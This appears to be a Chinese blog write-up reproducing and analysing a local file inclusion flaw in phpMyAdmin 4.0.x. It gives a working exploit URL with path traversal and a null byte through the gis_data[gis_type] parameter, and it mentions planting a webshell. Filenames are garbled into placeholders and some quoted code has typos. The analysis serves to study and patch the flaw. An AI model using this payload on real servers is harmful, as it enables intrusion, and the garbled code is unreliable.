phpMyAdmin本地文件包含漏洞
时间:2022-03-14 作者:yx20145312
4 phpMyAdmin本地文件包含漏洞
4.1 摘要
4.1.1 漏洞简介
- phpMyAdmin是一个web端通用MySQL管理工具,上述版本在/libraries/gis/域名文件里的存在任意文件包含漏洞,攻击者利用此漏洞可以获取数据库中敏感信息,存在GETSHELL风险。
4.1.2 漏洞环境
- Windows XP
- php 域名
- phpMyAdmin 4.0.1--域名
4.2 漏洞复现
4.2.1 构造木马
- 在网站根目录放置域名(包含phpinfo())包含一句话木马等操作,上传后达到GETSEHLL的目的。该文件内PHP代码可以打印出PHP详细的版本等信息,用来测试任意文件包含。
4.2.2 构造URL直接访问
- 打开
http://localhost/
页面来访问本地搭建的存在漏洞的phpMyAdmin,创建一个普通用户root
,密码root
,没有任何权限,登录后只能看到test、mysql、information_schema表:
- 居然一片空白,没有出现我想要的phpinfo!?
- 这又涉及到phpmyadmin的一个防御CSRF机制了,来到
libraries/域名
,代码如下:
$token_mismatch = true;
if (PMA_isValid($_REQUEST[\\'token\\'])) {
$token_mismatch = ($_SESSION[\\' PMA_token \\'] != $_REQUEST[\\'token\\']);
}
//检查$_SESSION[‘ PMA_token ‘] 是否等于 $_REQUEST[‘token’]
if ($token_mismatch) {//如果不等于
/**
* 不安全源允许的参数列表
*/
$allow_list = array(
/* 直接访问所需,参见常见问题域名
* 此外,服务器需要cookie登录屏幕(多服务器)
*/
\\'server\\', \\'db\\', \\'table\\', \\'target\\', \\'lang\\',
/* Session ID */
\\'phpMyAdmin\\',
/* Cookie preferences */
\\'pma_lang\\', \\'pma_collation_connection\\',
/* Possible login form */
\\'pma_servername\\', \\'pma_username\\', \\'pma_password\\',
/* Needed to send the correct reply */
\\'ajax_request\\',
/* Permit to log out even if there is a token mismatch */
\\'old_usr\\'
);
/**
* 允许在 test/域名中更改主题
*/
if (defined(\\'PMA_TEST_THEME\\')) {
$allow_list[] = \\'set_theme\\';
}
/**
* Require cleanup functions
*/
include \\'./libraries/域名\\';
/**
* Do actual cleanup
*/
PMA_remove_request_vars($allow_list);//进入PMA_remove_request_vars函数
}
- 上面代码检查了
$_SESSION[‘ PMA_token ‘]
是否等于$_REQUEST[‘token’]
,如果不等于,最后会进入PMA_remove_request_vars
函数,代码如下:
function PMA_remove_request_vars(&$whitelist)
{
/*
* 不要只检查$_REQUEST因为它可能已被覆盖
* 并使用类型转换,因为变量可能已经成为字符串
*/
$keys = array_keys(
array_merge((array)$_REQUEST, (array)$_GET, (array)$_POST, (array)$_COOKIE)
);
foreach ($keys as $key) {
if (! in_array($key, $whitelist)) {
unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]);
} else {
// allowed stuff could be compromised so escape it
// we require it to be a string
if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) {
unset($_REQUEST[$key]);
}
if (isset($_POST[$key]) && ! is_string($_POST[$key])) {
unset($_POST[$key]);
}
if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) {
unset($_COOKIE[$key]);
}
if (isset($_GET[$key]) && ! is_string($_GET[$key])) {
unset($_GET[$key]);
}
}
}
}
- 所有的
$_REQUEST
$_POST
$_COOKIE
$_GET
都清空了,那么后面的操作肯定不能正常运转了。所以,必须带上token访问。
4.2.3 获取token
- 使用phpmyadmin时,注意到一般在访问pma的时候都会在url里看到token=xxx这个参数,点击
hackbar
工具的load url
即可将url地址加载到hackbar的栏目中,把该token复制下来,准备下一步操作利用任意文件包含。
- 在hackbar栏目中输入
http://localhost/域名?token=(上面操作复制的内容粘贴进入这里)&gis_data[gis_type]=/../../../域名%00
输入完毕后点击Execute
提交即可,即可包含执行域名中的php代码, 如下图所示:
![](http://域名/blog/885499/201706/885499-
20170617182151243-域名) - 打印出PHP详细的版本等信息,漏洞利用成功。
4.3 漏洞分析
- 分析官方发布的漏洞补丁,
libraries/gis/域名
代码如下:
public static function factory($type) {
include_once \\'./libraries/gis/域名\\';
$type_lower = strtolower($type);
if (! file_exists(\\'./libraries/gis/pma_gis_\\' . $type_lower . \\'.php\\')) {
if(! PMA_isValid($type_lower, PMA_Util: :getGISDatatypes())
|| ! file_exits(\\' ./libraries/gis/pma_gis\\' . $type_lower . \\'.php)//file_exists判断文件是否存在
){
return false;
}
if (include_once \\'./libraries/gis/pma_gis_\\' . $type_lower . \\'.php\\') {//include_once包含这个文件
- 对比下有漏洞的
/libraries/gis/域名
代码:
public static function factory($type) {
include_once \\'./libraries/gis/域名\\';
$type_lower = strtolower($type);
if (! file_exists(\\'./libraries/gis/pma_gis_\\' . $type_lower . \\'.php\\')) {
return false;
}
if (include_once \\'./libraries/gis/pma_gis_\\' . $type_lower . \\'.php\\') {
- 可以看到多了一段
PMA_isValid($type_lower, PMA_Util::getGISDatatypes())
对$type_lower
参数的判断,大概可以猜测漏洞和这个参数有关系。 - 这里的代码逻辑是:用
file_exists
判断文件是否存在,如果存在,就用include_once包含这个文件。如果$type_lower
这个变量是可控的,那么就造成文件包含漏洞。追溯$type_lower
的来源,可以发现是factory函数的参数,所以找调用factory函数的地方域名
:
1 // Get data if any posted
2 $gis_data = array();
3 if (PMA_isValid($_REQUEST[\\'gis_data\\'], \\'array\\')) {
4 $gis_data = $_REQUEST[\\'gis_data\\'];//获取到gis_data参数的值
5 }
6 $gis_types = array(
7 \\'POINT\\',
8 \\'MULTIPOINT\\',
9 \\'LINESTRING\\',
10 \\'MULTILINESTRING\\',
11 \\'POLYGON\\',
12 \\'MULTIPOLYGON\\',
13 \\'GEOMETRYCOLLECTION\\'
14 );
15 // 从初始调用中提取类型并确保它是有效的。
16 // 判断$gis_data[‘gis_type’]是否已经存在
17 if (! isset($gis_data[\\'gis_type\\'])) {
18 if (isset($_REQUEST[\\'type\\']) && $_REQUEST[\\'type\\'] != \\'\\') {
19 $gis_data[\\'gis_type\\'] = strtoupper($_REQUEST[\\'type\\']);
20 }
21 if (isset($_REQUEST[\\'value\\']) && trim($_REQUEST[\\'value\\']) != \\'\\') {
22 $start = (substr($_REQUEST[\\'value\\'], 0, 1) == "\\'") ? 1 : 0;
23 $gis_data[\\'gis_type\\'] = substr(
24 $_REQUEST[\\'value\\'], $start, strpos($_REQUEST[\\'value\\'], "(") - $start
25 );
26 }
27 if ((! isset($gis_data[\\'gis_type\\']))
28 || (! in_array($gis_data[\\'gis_type\\'], $gis_types))
29 ) {
30 $gis_data[\\'gis_type\\'] = $gis_types[0];
31 }
32 }
33 $geom_type = $gis_data[\\'gis_type\\'];//赋值
34 // 通过传递的值生成参数。
35 $gis_obj = PMA_GIS_Factory::factory($geom_type);//传参
- 首先调用了
factory
函数,并且参数等于$gis_data[\\'gis_type\\']
,第4行:$gis_data = $_REQUEST[\\'gis_data\\']
;获取到gis_data
,判断$gis_data[‘gis_type’]
是否已经存在,如果存在则跳过那 一大串if子句。最后就将$gis_data[‘gis_type’]
赋值给$geom_type
,并传入PMA_GIS_Factory::factory
函数。 - 实际利用方法其实就是获取
$_REQUEST[‘gis_data’][‘gis_type’]
并拼接到include_once
中,造成任意文件包含。
4.4 修复建议
- 更新官方最新版本:http://域名/projects/phpmyadmin/